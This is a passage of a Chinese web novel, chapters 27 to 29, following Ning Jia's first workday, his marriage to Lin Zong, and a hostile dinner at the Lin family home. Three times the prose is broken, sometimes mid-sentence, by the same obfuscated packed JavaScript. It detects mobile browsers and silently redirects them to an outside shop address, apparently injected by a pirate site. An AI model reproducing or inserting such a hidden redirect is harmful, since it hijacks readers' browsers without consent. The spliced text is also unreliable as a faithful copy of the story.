;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13250312|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去上班,他有点没考虑去哪,林纵问他是什么想法。 宁嘉便把上班环境、公司规模、面试时的感觉和工作类型和林纵介绍了,其实淡淡是说这些,林纵也能感受到宁嘉的选择,他能做的不过是引导宁嘉遵循自己的内心。 值得庆幸的是,宁嘉最后挑选的那间公司,离林纵所在的写字楼很近,路程较短,林纵让司机先送宁嘉再送他。 宁嘉装模作样:“不太好吧,学长,要不先送你?” 然而宁嘉心想,欠都欠了,不差这一点。 林纵压根不知道他的想法,说出的话仍然符合本人并不的人设:“挺好的,我上班迟到不会扣工资。” 宁嘉差点一口气没上来:“哎。” 林纵笑了下:“觉得麻烦就学着开车。”他知道宁嘉有驾照。 要开车也是开林纵的车,反正就是麻烦林纵,宁嘉知道了。 欠,算上利息欠。 到公司第一天,宁嘉和同事相处十分融洽,他挑了个和大学专业毫不相关的工作,所有东西都要重新学起,不过宁嘉倒是挺满意的,很新鲜也很有趣。 临下班的时候,宁嘉接到了林纵的电话,他们之间很少有什么事需要电话通话,宁嘉接过来:“学长?” 已经毕业的人,再从他嘴里听到这两个字是很新鲜的,办公室里的人悄悄竖起了耳朵。 林纵这边工作还没有处理好,恰巧看到电脑右下角的时候,于是提前打了电话:“五点半下班?” 宁嘉看看时间,捂着嘴巴小声说:“刚过来是不是得装个样子?” 电话那头听见了林纵带着笑意的声音:“应该吧。” 宁嘉继续低声控诉:“都是你们这些资产阶级,整天剥削我们小人物。” 林纵高高在上的姿态:“做得好加工资。” 宁嘉心说我这就小公司,能有啥大大的目光,但这话小声他也不敢说出口,转移了话题:“学长,你找我什么事啊?” 林纵:“外面天气热,你下班后等一会儿,司机去接你。” 予市又开始出太阳了,雨下的久了,似乎忘了这才是夏天的常态。 “学长,你也来吗?” “嗯?” “上周不是说周一要和闻凯谈事情吗?” 宁嘉喊林纵学长,尊尊敬敬的,但闻凯就是闻凯,是个虽然年纪比他大,但他没有一点要尊重对方意思的人,林纵对这样的区别对待很满意。 林纵从善如流:“那就明天再谈。” 宁嘉傻乐起来:“那我在公司等你。” 林纵:“到了给你打电话。” 结束通话以后,宁嘉果不其然接受到其他人炯炯目光的注视,有好事者已经在问了:“你学长?关系还挺好的啊。” 宁嘉笑了一下:“我和他结婚了。” 周围倒吸一口冷气的人不在少数:“长得这么好看,怎么就英年早婚了呢?” 宁嘉只笑不说话。 宁嘉在早上下车的地方上车,坐到林纵身边,才喊了句“学长”,手机就先响了,许诗瑶打来的电话。 许诗瑶联系宁嘉的目的很明确,以前是关心儿子过得怎么样,现在想看到人坐趟车就能见到,打电话通常都是为了约饭:“嘉嘉晚上来家里吃饭吗?” 宁嘉看了眼林纵,没有直接拒绝:“你身体怎么样?” 这其实就是明摆着告诉林纵原因了,宁嘉为什么会改口,他们为什么会结婚。 许诗瑶说:“挺好的呀,有按时吃药,也有去医院复查。” 宁嘉没有周旋就问:“手术什么时候做?” 许诗瑶显然不想讨论这个问题,生硬地转移话题:“晚上来家里吃饭吗?” “晚上不行。”宁嘉拒绝了许诗瑶。 “......嘉嘉。”许诗瑶以为宁嘉这是不高兴了。 宁嘉不想在这个时候和她吵:“家里要收拾东西,也和学长约好吃饭了,下次吧,妈。” 事实上,宁嘉偶尔会觉得,他和许诗瑶已经没法用正常思维沟通了,有些话应该要说,却又疲于浪费情绪 “这样啊,那明天来家里吃饭吗?”许诗瑶浑然不觉。 确实是这样,从岩市寄过来的快递今天已经到了,宁嘉要回去收拾行李,林纵和闻凯的工作也推了,为了送宁嘉回家,就算是先来后到,许诗瑶也得给林纵让路,而且宁嘉还要还债。 何况宁嘉几乎可以确定,许诗瑶所谓的让宁嘉回去吃饭,那顿饭里,一定不止他们两个人。 “明天再说吧。”宁嘉还没想好。 到了晚上,宁嘉忽然就知道答案了,他明天还是没法和许诗瑶一起吃饭,因为林家的家宴来了。 27. 第 27 章 大概是两人的结婚流程不对,以至于后续总能冒出点猝不及防的事。 当初领证的着急,林纵除了想尽快把宁嘉留在身边外,同样的,也不想顺从双方家长的意见。 从岩市寄回来的除了衣服,还有一些宁嘉怎么看都不想丢弃实际上却又没有用处的东西。 衣服挂进衣帽间,那些所谓的成长的回忆被宁嘉连着箱子送进储藏室。 收拾完东西,宁嘉又去陪富贵待了一会儿,书房明天开始装修,晚上林纵也在把一些重要的文件收拾上楼。 宁嘉这只猫养了七八个月,感情是有的,但好像不是很深的样子,心情好的时候才和宁嘉贴得近一点,心情不好,随时随地和宁嘉保持一米的距离。 宁嘉追得累死了,躺在地上,偏过头看他们家猫兄弟:“这么热的天,你不热是吧?” 富贵炯炯有神地看着他。 宁嘉朝他侧了个身。 富贵机智地后退一步。 在房里待了没多久,宁嘉便上楼洗漱了,林纵没收拾完,他也不急着睡觉。 今夜难得有一点月光,宁嘉盘腿坐在沙发上,脑袋仰得高高的,给江软发消息:看月亮。 林纵推门的时候只有一点点声响,宁嘉还是听见了,扭头看过去,脸上还带了点沉静下来的安逸。 迎着宁嘉的目光,林纵走到他面前,半蹲下来:“怎么不睡觉?” 这下宁嘉要低头去看林纵了,他难得这样柔和的笑,似乎对生活很满足的样子:“今天有月亮。” 月亮很亮,也很漂亮。 宁嘉抬头示意林纵去看,林纵却眼睛一眨不眨地望着宁嘉:“看到了。” “嗯?”宁嘉愣了一会儿,见林纵还在看他,笑了起来,“什么啊。” 林纵好像说了句很土味的情话,但因为是林纵的关系,好像也不怎么油腻。 林纵捉着宁嘉的手,递到嘴边,吻了吻手背:“我爸让我们明天去家里吃饭。” 宁嘉无奈,哭笑不得地说:“他们是成心的吗?上次也这样,算好了时间来找我们麻烦。” 话是这样说,他看起来却真的很高兴。 “凑巧吧,”林纵淡淡道,“我们才刚结婚,背后有利益牵扯,估计早就迫不及待了。” 宁嘉这才发觉不对,他看向林纵,仔细去看他的眉眼、神情,其实并不明显,所以宁嘉迟钝了很久,才发现林纵的心情似乎并不好。 小时候想过的,如果要结婚肯定是和心爱的人在一起,但宁嘉不知道,未来会有那么一天,他和一个人结婚,竟然是为了成全旁人的利益来往。 宁嘉的手垂在身侧,林纵的掌心仍然覆盖在上面,宁嘉翻过手,和林纵短暂地握了一下,这才发现原来牵手是因为想要安慰另一个人,手心传递着彼此的温度:“学长,你是不是心情不好?” “嗯。”林纵朝他笑了笑。 宁嘉看着林纵,只希望学长可以快乐一点,不要在月亮面前有这么难过的表情。他问:“那你要不要告诉我?” 林纵说:“好。” 宁嘉拍拍身边的沙发让林纵坐,林纵握紧了他的手,没有要动作的意思。 过了一会儿,才听见林纵开口:“我很讨厌林平生。” 林纵很虚伪,因为想要给宁嘉留下虚伪的好印象,所以总是温和总是在笑,总是装作友善,甚至在宁嘉面前喊林平生“爸”。 但林纵很讨厌很平生,说厌恶可能会更准确一点。林平生把林纵带给身边,把私生子介绍给所有的亲戚朋友,无视他们脸上的表情,孜孜不倦地表达他对私生子的喜爱。 林纵只觉得作呕,每一个需要站在林平生身边的时刻,总会让林纵想到母亲亲手把他送到林平生身边的那一天。 某些事上林纵不止要羡慕江软,还要羡慕闻凯,至少闻家对闻凯态度鲜明,不屑于装模作样。 宁嘉从林纵面无表情的一句话里很好地理解了他此刻的心情:“就像我讨厌吴良仁一样对吗?” “不够准确。” 宁嘉就笑了下,觉得学长连坦诚都是帅的,林纵讨厌一个人,宁嘉却觉得他酷得不行。 “那肯定不一样的,”宁嘉也用力握着林纵,“毕竟你们有血缘关系,对吧。” 林纵看向宁嘉。 宁嘉朝他笑笑:“学长,我没和你提过我的亲生父亲,他和吴良仁有不一样的坏,但你如果问我谁更坏一点,我肯定会说吴良仁。” “我的亲生父亲是个赌徒,原来好好的家因为他散得一干二净,我应该恨他的对吧。” 宁嘉回想着,只觉得那段记忆太遥远了,快要想不起来了,所以提起来也不觉得难受:“但是我爸死了很多年了,我不知道是因为时间太久的关系,还是他没有那么坏的原因,我其实已经不恨他了。” “但是我真的很讨厌吴良仁啊,很纯粹的憎恶,他把我妈当傻子耍,也不把我当人看,他就是电视剧里很坏很坏的那种人,但我妈竟然还看不出来。” 像林纵这样的人,在宁嘉面前说一句“讨厌”已经是很难得的事了,宁嘉也知道林纵不想多说,最后反而自己说了很多。 林纵不知道在宁嘉心里他是个什么样的人,但宁嘉好像总是这样,想要护着林纵,守住他的尊严,把他捧到很高的地方,连林纵自己都不可以说一句不好的话。 “你父亲怎么死的?”林纵便问。 宁嘉以前总是不愿意讲,觉得那不是什么好事,也羞于提起,不知道为什么,他并不想瞒着林纵。 “出车祸,赌桌回来的路上意外去世的。”宁嘉抿了抿嘴,说了实话,“那个时候虽然很伤心,又觉得他死了也挺好的,活着一直害我和我妈。” 林纵温柔地摸了摸宁嘉的头发:“你妈妈生病了吗?” 宁嘉幅度很小地点了点头,眼睛突然红了:“她不肯做手术,说会变丑,怕吴良仁不喜欢她。” 宁嘉对吴良仁更讨厌的原因是许诗瑶的不信任,但凡吴良仁给许诗瑶的安全感足够,不至于让这个傻女人连命都不要转而选择守护爱情,让宁嘉这么伤心。 宁嘉真的很怕许诗瑶会离开他,那是他在这个世界上唯一的亲人了。 林纵很轻地摩挲着宁嘉的眼尾:“明天晚上我们去林家。” 宁嘉点头。 林纵说:“林夫人不在。” 宁嘉表情一顿。 “林平生把我带回去后,林夫人就从家里搬出来了,他们没有离婚,林少也经常回林夫人那里,”林纵平静地在叙述让他觉得不屑的事,“林夫人瞧不起林平生。” 宁嘉梗着脖子:“那我也瞧不起。” 林纵被他逗笑,牵着宁嘉的手把他从沙发上拉起来:“那我讨厌林平生呢?” 两人还手牵手,像是婚礼宣誓那样面对面,互相对视着,不知道为什么,宁嘉觉得那样的眼神还挺深情:“那我也讨厌他。” 林纵便笑:“谢谢你讨厌他。” 宁嘉看迷了眼,问道:“学长,我讨厌他的话,你会开心一点吗?” “会,”林纵看着宁嘉说,“我很开心,你陪我一起讨厌他。” 林家主宅有个很大的院子,因为太过震惊,进门的时候,宁嘉爆了声粗口:“资本主义的奢靡生活。” 林纵很轻地笑了声。 宁嘉边看边笔画:“他自己住这么大的房子,给你买那么小的呢?” “小吗?”林纵问。 宁嘉说这话纯粹就是看不顺眼林平生了,他其实什么都不知道,连林纵讨厌林平生的原因都一知半解,仅仅只是林纵昨天的一个表情,就足够让宁嘉讨厌林平生很久了。 “小啊,很小。”宁嘉睁眼说瞎话,从小到大他就没有住过带院子的房子,那都是有钱人住的地方,林纵那套别墅带的院子虽然比不过林宅,但也有几百平方。 林纵在宁嘉耳边悄悄说了个数字,宁嘉惊讶地锁喉,噎了一下:“哦,是吗,那,那还挺值钱的。” 以往车里直接开进宅子,也不需要走那么长的路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337712|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天林纵特意把车子停在外面,和宁嘉在院子星星点点的路灯下走了很长一段路。 宁嘉看了一会儿,问:“学长,你小时候住这里吗?” 林纵:“嗯。” 宁嘉问:“住到几岁?” 林纵没有隐瞒:“我八岁的时候来的林家,十二岁以后一直住在学校,十八岁那年搬出去的。” 宁嘉皱着眉:“初中一直住校吗?寒暑假呢?” 离宅子还有一段路,林纵牵起宁嘉的手,回忆起那段曾经:“我成绩一直很好,小学跳了两级,初高中的时候所有的竞赛班都有上,辅导课也去,时间安排满了就没空回家。” 最开始跳级是年纪太大了,快要九岁的时候才转进林平生安排的贵族小学,再后来努力学习是为了不想回家,林纵没有刻意让自己的人生过得和别人不同,他只是不想回家。 林平生自认为负责,知道林纵不想留在林家也没有过多要求,房子是早就买好了,林纵成年那天林平生把钥匙交给他。 但那几年林纵除了学习也有自己做一些兼职工作,他攒了一点钱,租了套房子,没搬去林平生给他的别墅,却有了自己的家。 闻凯是新家的第一个客人,他给林纵买了张长沙发,最先躺进去的却是他自己,整个人陷在沙发里:“老头子对你挺大方,还以为你会把钥匙甩给他脸上。” 林纵也把那串数字告诉了他。 闻凯差点从沙发上摔下来:“哦。” “啊!”宁嘉星星眼,“学长,你果然从小就很优秀。” “是吧。”不管那些优秀是因为什么,林纵优秀都是不争的事实。 宁嘉狂点头:“学长,我觉得你很厉害。” “你忽略了一件事。” “什么?” 林纵看着他:“你也很厉害,所以我们才在那所学校相遇。” 宁嘉星星星星眼。 主宅门口站着人,宁嘉远远看见就松了手,才反应过来他和林纵牵着走了好长一段路,黑暗中宁嘉有点脸热。 “少爷。”佣人打招呼。 林纵淡淡地:“嗯。” 临进门的时间,宁嘉和林纵讲悄悄话:“怎么和电视剧演的一样。” 宁嘉满脸嫌弃的表情,林纵解释说:“林家富了好几代,传下来的老旧观念,没有谁觉得这样有什么问题。” 宁嘉问:“学长你呢?” 林纵说:“我也是穷人出生。” 这么一本正经,宁嘉肩膀蹭了蹭林纵,笑着说:“我买奶茶粉泡给你喝啊。” 林纵睨他:“不要珍珠。” 宁嘉笑死了:“好的!” 家里有聚餐,会比平时热闹一点,林少老早就在家里等了,偌大的客厅里,就坐了他一个人,脚上穿着鞋,翘腿搭在茶几上,手上叉着一块水果往嘴里送,看见林纵和宁嘉进来,不屑地哼笑一声。 林纵没听见似的,表情都不带变得,揽着宁嘉往楼上走:“还早,去楼上坐坐。” 宁嘉知道林纵的意思,不理乱叫的癞蛤蟆,他懂的。笑嘻嘻地看着林纵:“去你的房间吗?” 林纵也垂眼看他:“嗯,有很多奖杯。” “真的吗?”宁嘉是真的很惊讶。 其实林纵说的很对,能考上和林纵一样的大学,宁嘉也觉得自己很厉害,但宁嘉确实慕强心理严重,读书厉害的,工作能力强的,打游戏厉害的,这样的人他都会很喜欢。 “真的。” 恰好是两人经过客厅,恰巧电视声音停顿,林少在这个时候清晰地听见两人的谈话,而有个男生正巧从卫生间里出来,林少搂住男生的腰往怀里带,喊了声:“宝贝,怎么这么久。” “......” 啊啊啊啊啊啊啊啊啊。 宁嘉要死了。 鸡皮疙瘩搓了一身。 宁嘉打了个哆嗦,逃似的拉着林纵赶紧往楼梯口跑,声音半点没收敛:“恕我直言,幸好你和他不是一个妈生的,土的要命。” 28. 第 28 章 林纵的房间里真的有很多奖杯。 书柜上罗列了一排奖杯,底下的柜子打开,还有数不清数量的奖牌和奖杯。 宁嘉看得咋舌:“学长,你这是闯关打怪兽的奖励吗?” “差不多吧。”林纵想,因为他不想要见到林平生,每一次躲不掉的见面对他而言就是一次下副本,那之后他总是更加努力的学习,只为了离如今寄人篱下的生活远一点。 从来没觉得这些奖杯的获得有什么值得骄傲的地方,仅有的几个摆设在外,也是家里的阿姨觉得好看,林纵也没有拦着。 宁嘉却蹲在柜前一一看过,连那些小学得到的没有任何意义的奖杯都不放过,他拿起什么,林纵便顺便解释:“贵族小学不会厚此薄彼,每个小孩都有奖杯。” 宁嘉偷感很足地摸着奖杯,后仰看着林纵:“但是学长,你是特等奖。” 林纵笑了起来。 宁嘉在房间里溜了一大圈,确信了林纵对这间房的感情并不深,但林纵好像本身就是个不会有感情的人。 宁嘉自认为薄情,和谁关系都不错,走的时候虽然舍不得但还是走的很痛快,从岩市带走了那一箱有关成长的东西,也没有想要开封的念头。 可林纵也搬过家,宁嘉几乎是在旁边看的,林纵并没有这样收藏回忆的箱子。 林纵这个人是该是冷情的,他寡情冷淡,没有很在乎的东西,于是他就算恨林平生也没有恨的很用心。 “要出去走走吗?”看出了宁嘉的兴致缺缺,林纵问。 今夜月明星稀,是夏季里难得的好时候,说是聚餐,聚餐的人却一直没来,在房里无聊的话是该下去走走。 宁嘉想到了楼下的人,撇嘴,嫌弃:“是不是还要看见那个瓜皮。” 林纵一愣,从来没听过这样的形容词:“谁?” 宁嘉冷哼:“那个地主的傻儿子。” 林纵反应了一会儿才明白过来,真是有点乐了:“你不要理他就是了。” 宁嘉想到林纵上一次的反应,忽然问:“学长,你这些年过得好吗?” 宁嘉很认真地看着林纵,问了这些年从来没有人问过林纵的问题。 林纵反而有些不会回答了,宁嘉好像总是把他放到这样的位置上,他有时候觉得自己被高高捧起,有时候又觉得被宁嘉护在身后。 宁嘉的潜台词也很明显,林少上次那样对林纵,在公开场合毫无收敛地羞辱谩骂,宁嘉看过那么多电视剧,总担心林纵这些年在林家过得不好。 林纵很温柔地摸了摸宁嘉的头发,因为感觉到被珍惜,在这一刻心都是温暖的,如同一汪清泉流过。 “你学长像是会被欺负的人吗?”林纵问。 宁嘉在他掌心下摇了摇头:“怕你不想和小人计较。” “那就算被欺负?” 宁嘉很认真地说:“那样算受了委屈。” 林纵笑了笑,说:“没有委屈。” 宁嘉于是信了,点点头:“学长,我以后会对你好的。” “是吗?”宁嘉说的太认真了,林纵决定当真。 “嗯。”宁嘉又点点头。 宁嘉没有想过的,会和林纵结婚,和他在一起很久,最开始也觉得是权宜之计,为了稳住许诗瑶才这么做的,这个时候又不这么想了。 宁嘉想,果然男人都很虚伪,难怪总有人说男人在承诺的那一刻是真心实意的。 宁嘉确实是的。 好在房间里也可以看月亮。 宁嘉让林纵帮忙,把沙发挪到落地窗前,两人并肩坐着整齐地翘着腿,抬头看着黑夜。 在新公司上班总会发生一些意料的事,大多数都是开心的,宁嘉一件件说给林纵听。 林纵也会问,他像个合格的学长那样,引导本就优秀的宁嘉对事情有更好的想法。 宁嘉抱膝坐在窗前,皎洁月色扑撒在他脸上:“一直觉得换工作会很糟糕,原来也还好。” 林纵说:“不开心可以告诉我。” 宁嘉转过头注视着他:“你会替我把他们公司掀了吗?” “......我会帮你找一份新工作。” 宁嘉靠在林纵的肩膀上,不知道在傻笑什么。 再晚一些,林平生才回来,进门时看到林少搂了个男生坐在客厅,嗔怒一声:“像什么样子,在外面玩就算了,还把人带回来。” 知道林平生没有真生气,林少就笑嘻嘻,显然也奇怪了林平生声色厉苒的样子:“爸,回来这么晚啊。” 林平生一边解领带一边说:“林纵来了吗?” 一听到这名字,林少的脸色便冷了下来,但也没有说什么:“早来了,在楼上,和他那小男朋友不知道在做什么。” 最开始提联姻的确实是林少,这小子生活不着调,生意上的头脑却完全继承林平生,从吴家那边可以得到什么,用什么方式获取最有力最稳固,最永绝后患,他都知道。 相亲当天临时换人,林少心里有气也可以理解,这事林平生确实做的不地道:“让他下来吃饭吧。” 林少转过头,给亲爸留了个后脑勺:“谁爱叫谁叫,他多大的脸。” 拿这小子没点办法,林平生叹了口气,很好说话的样子:“那你让周姨去叫。” 林少头也不回,大声喊:“周姨——” 周姨还在厨房里备菜,对林家的弯弯绕绕不感兴趣,她是家里的老人了,比林平生还大两岁,没人敢惹她。 听到林少的声音,匆匆忙忙从厨房里跑出来,打湿的手在围裙上擦了擦:“怎么了呀。” 林少好脾气地说:“我爸让你喊林纵吃饭。” 周姨什么不知道,男主人私生活混乱,气走了女主人,留下两个小的争锋相对,没有明面上的争吵,事实上却是谁也不待见谁。 沙发上坐着一个从头到尾都没有转过头的男生,林平生来的时候没有打过招呼,周姨过来也没有转头。 周姨也装作不知道,笑说:“好呀。” 上楼的时候,周姨隐隐听见了身后的动静,林少拍了拍身边的人示意他起身:“你就坐我边上,谁和你讲话都不用理。” 宁嘉还靠在林纵肩上看月亮,因为太懒了不想动,头都不愿意抬一下。敲门声响的时候他和林纵同时转头看去,两张脸面对面凑得很近,宁嘉恍惚了一瞬,很快躲开了脑袋。 视线从宁嘉脸上收回,林纵平淡地问:“哪位?” “我呀,”周姨在门外说,“老爷回来了,喊小少爷吃饭呢。” 林纵说:“知道了。” 林纵起身绕过沙发,宁嘉还维持着先前的动作没动,林纵抬眼看过去,他甚至将双手搭在沙发背上,懒懒的模样。 “不走?” 宁嘉心里憋着坏,连笑都和平时不太一样:“学长。” 林纵:“嗯?” 宁嘉仰头,狡黠地问:“小少爷是谁?” 林纵挑眉:“你觉得?” 宁嘉上上下下扫视林纵,目光刻意玩味:“你哪里看着都不像小啊。” 林纵竟然笑了下,顺着宁嘉的话耍流氓:“我小不小你不知道吗?” 封闭的空间里,本就不算清白的环境下,宁嘉的脑子里闪过很多他一直没有淡忘的记忆,那些片段在他脑海中横冲直撞,臊得他脸都红了,惨败在学长面前。 宁嘉搬起石头砸自己的脚,赶紧从沙发上跳起来:“走走走,吃饭。” 林纵和宁嘉一前一后从楼上下来,林平生看到人后笑了下,起身往餐桌的方向走,林少紧跟其后,身边带着一个眉眼清秀的男生。 林纵坐在林平生另一侧和林少面对面,这样一来,宁嘉对面就是林少的“宝贝”了,这位宝贝似乎有一点面熟。 林平生大概是年纪大了,眼神不好,现在才看到林少坐着个人,生气也不像真的生气,微微皱了皱眉,无端看向宁嘉一眼,话却是对林少说的:“胡闹,把人带回家就算了,怎么还带上饭桌。” 这场家宴比宁嘉想象的更加普通,林少再往上还有三个姐姐,因为已经嫁人的关系,所谓家宴,并没有通知她们参与,除去林少的“宝贝”,宁嘉在这也像个外人。 林少的手搭在男生的椅背上,在他肩上轻拍了拍:“我朋友啊,又不是外面乱七八糟的人,我们认认真真谈恋爱有什么问题吗?” “还是说,”他抬抬下巴,指着对面的林纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338057|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“只有他可以这样?” 林纵从来没有表现过同性方面的性取向,连恋爱都没有谈过,当初相亲是林平生硬塞给他的,林纵没有拒绝。 事实上这些年,林纵没有拒绝过林平生的任何要求,就像林纵说要住校,过年补习,聚餐时出去转转,林平生也从来没有拒绝他一样。 林纵的意愿并不重要,而林纵这些年里的小小叛逆也无伤大雅。 林平生的视线跟着林少的话挪到林纵脸上,林纵却面色平淡,仿佛他们讨论的人不是他。 餐桌上有常温和冰两种饮料,林纵正在问宁嘉要喝哪一个。 其实宁嘉也收获了林家父子的目光,他却看着林纵:“喝冰的吧,学长,你喝哪个?” 替宁嘉倒了冰水,林纵又顺便倒给了自己,再抬头去看的时候,林家父子已经因为无趣转移了话题。 林平生清了清嗓子:“在外面怎么玩我管不住你,在家里收敛一点,人都来了,就吃饭吧,下次不用再带过来了。” 林平生的潜台词很明显,让林少早点和身边的男人断了。他说这些话的时候并没有避着男生,与其说是说给林少听的,其实是希望男生有自知之明。 男生像是没有听见,他像林少要求的那样,当一个不用说话的花瓶。 林少没太在意:“再说吧。” 林平生瞪了他一眼。 林少无所谓地笑笑,他不着急啊,饭局才刚刚开始。 饭桌上,林平生提到了生意上的事,从林少的回答来看,这人竟然真有几分本事。想到这个,宁嘉看向林纵,林纵也正好朝他看过来。 宁嘉想说的是,我上次踹了这人一脚他怎么没找我麻烦? 林纵眉眼柔和,示意宁嘉没事,林家人好面子是出了名的,宁嘉毕竟和林纵结婚了。林少带回来的男生什么都不是,他就是个外人,于是林平生骨子里的恶劣作祟,讲话不加收敛。 谈了大半天才发现林纵没有在听,林平生叫了叫他:“林纵,你呢?” 林纵不爱说这些,因为成绩看得到,过程没什么好解释的,每次他都简单地回答:“还好。” 林平生也挺满意他这个答案。 上次双方家长见面,许诗瑶喊宁嘉嘉嘉,林平生也跟着这么喊:“嘉嘉呢,最近在干吗?” 宁嘉在长辈面前向来装模作样,背地里什么都说,不耽误他当面假笑:“在上班,还好。” 林平生:“和林纵也还好?” 宁嘉:“还好。” 林平生说:“那就好。” 毫无意义的谈话到这就算结束了,林少讲得最多,嘴巴都干了,果汁离他却有些远,顺嘴说道:“嘉嘉帮我拿一下。” 宁嘉抬头:“?” 只见林少带来的那个全程不开口的男生拿过果汁,替林少倒进杯里。 直到这个时候,宁嘉嘴角还维持似笑非笑的弧度:“你喊他什么?” 林少扬眉勾着唇角笑,一副不出我所料的表情:“嘉嘉啊,怎么了,就允许你叫这个名字?” 宁嘉提起筷子正准备摔桌,猝不及防被抢了先。 “搞什么?!”林平生重重放下杯子,“林少,闹事也要分场合,什么时候吵不好,非要今天?” 从小到大,恶心林纵的事林少向来没有少干,因为林纵反应平淡,林平生向来睁一只眼闭一只眼,可今天毕竟是林纵带宁嘉回来的日子,林少作怪是一回事,作到了宁嘉头上又是另外一回事,毕竟两家还有生意要谈。 林少就等着这一刻:“爸,有什么好气的,本来最开始宁嘉就是要和我结婚的,你不经过我同意就把他给了别人,我自己不能找一个?只是名字相同而已,有什么问题?你不允许?” 有什么问题问题可大了,林少竟然真带了个带把的回来,他刚刚就发现了,男生眉眼熟悉,有几分宁嘉的模样,林平生气得眉毛都在抖:“你和他能一样吗?!” “爸,你慢慢想,就两个儿子,总不至于真的厚此薄彼,还是你真的这么想的,”林少端起酒杯,慢条斯理尝了口果汁,问“所以当初才不让我和宁嘉结婚?私生子还是不一样的,对不?” 宁嘉还是摔了筷子。 29. 第 29 章 宁嘉一筷子摔上餐桌,菜汤正好溅到林少的领口,林平生惊讶地看着宁嘉,又顺便看见一旁,他气定神闲坐着的全然置身事外的小儿子。 “把我当空气是吧?嘉嘉嘉嘉,嘉嘉也是你喊的?” 宁嘉忍半天了,从坐到这张破桌子前就开始憋着火:“我说怎么看着他面熟呢,专门挑我的长相找的?不好意思,我这么帅的,世间少有。” 林平生还是第一次见到这样的小孩:“......” 宁嘉凶神恶煞,看向林少,越骂越上头:“他叫嘉嘉?你让他身份证拿出来看看,别自己一厢情愿地给人改名,问人家爹妈愿意了吗?” 这真是林少人生从来没有过的经历:“?” 宁嘉高声道:“拿啊!” 男生被宁嘉的气势吓得抖了个哆嗦,不敢说话。 但其实宁嘉说的每句话都是对着林少的,他知道男生或许并非情愿,这世上有钱的都是一个模样,穷人的活法却各种各样。 林平生在这种时候才迟来地想要打圆场,宁嘉闹得有点过了,违背了今天这场宴会的初衷:“好了,这事是林少不对,叔叔把他宠坏了,你就别和他计较了。” 像上次没打算让林纵改口一样,这次林平生也没想着让宁嘉喊他一声“爸”,宁嘉更不稀罕,仇视的目光转向林平生的时候,眼底的怒意还没收。 林平生对外人和对儿子是两个态度,宁嘉听出来了,他没把自己放在眼里,这样更好。 于是宁嘉笑了,不慌不忙地从口袋里拿手机,特有礼貌地说:“叔叔,你确实没有教好他。” 林平生的眉毛又气抖了,皱成个川字,没料到宁嘉这么不识相,还好当初没让林少和他结婚,真要在一起,三天两头能把家里闹翻天。 林平生气得“哼”了一声。 宁嘉把手机递到林平生面前,音量调到最大,视频播放的那一刻,林少脸都绿了。 ——“你就这么为那个私生子说话?为什么?就因为他长得好看?” 通过监控播放的视频音效失真,在座的几人还是可以听出来那是林少的声音。 那是宁嘉第一次见林少时,林少在餐厅口不择言说过的话,他故意恶心林纵,要让林纵在宁嘉面前不痛快,后来却听说两人还是吃了饭,甚至一起看了电影,根本没因为他的话受到影响。 只放了这一句,宁嘉就收回了手机,视频画面上播的清清楚楚,公共场合下一群看热闹的人,林少说出口的没有教养的话,旁边还站着一个宁嘉。 宁嘉作为二十一世纪高素质人才,说得过就吵,懒得说就打,再不行就留下证据,总能找到机会报仇。 这是宁嘉那天在餐厅时向店长要来的监控,名义上说是报警,也知道这种事警察不管,但总有人会管的,宁嘉那时候想。 无视林平生铁青的表情,宁嘉把手机塞回裤兜里,很不情愿好像又没办法的样子,和他说:“叔叔,你看,本来这也不是我该说的话,你儿子不给我老公面子就算了,怎么还在外面丢你的脸呢。” 听到这林纵终于忍不住笑了,宁嘉“没事找事”才喊老公的行为实在让他很受用,不该笑的场合,偏偏笑出来,这行为仿佛火上浇油,林平生脸都气红了。 宁嘉无辜地看向林纵,眨巴眨巴眼,像在说我可没让你笑。 林纵眼睛都弯了起来。 林平生被气得吹胡子瞪眼,呼吸明显急促了不少,鼓风机似的扑哧作响,要是再年轻十岁,可能拎着扫把就上了。 林家人好面子,林少在家怎么闹林平生都纵着他,出门在外却是另一回事。 林纵在此时恰到好处地起身,宁嘉跟着他站起来,听他说:“我和宁嘉先回去了,你们聊。” 说完看向对面的男生:“起来,跟我们走。” 男生早就吓死了,站起身的时候碰倒了椅子,宁嘉赶紧拉着他走了,嘴上还说着:“扶不起的阿斗别扶了。” 男生:“......” 三人一行头也不回地离开林宅。 林纵停在门口,给男生留了助理的手机号码:“林少找你麻烦的话,联系这个人。通常情况下,他也不会再找你了。” 男生错愕地看着林纵,带了些犹豫,林纵明白过来:“他答应给你多少钱?” 这种时候也顾不上羞耻,男生说:“.....五千。” 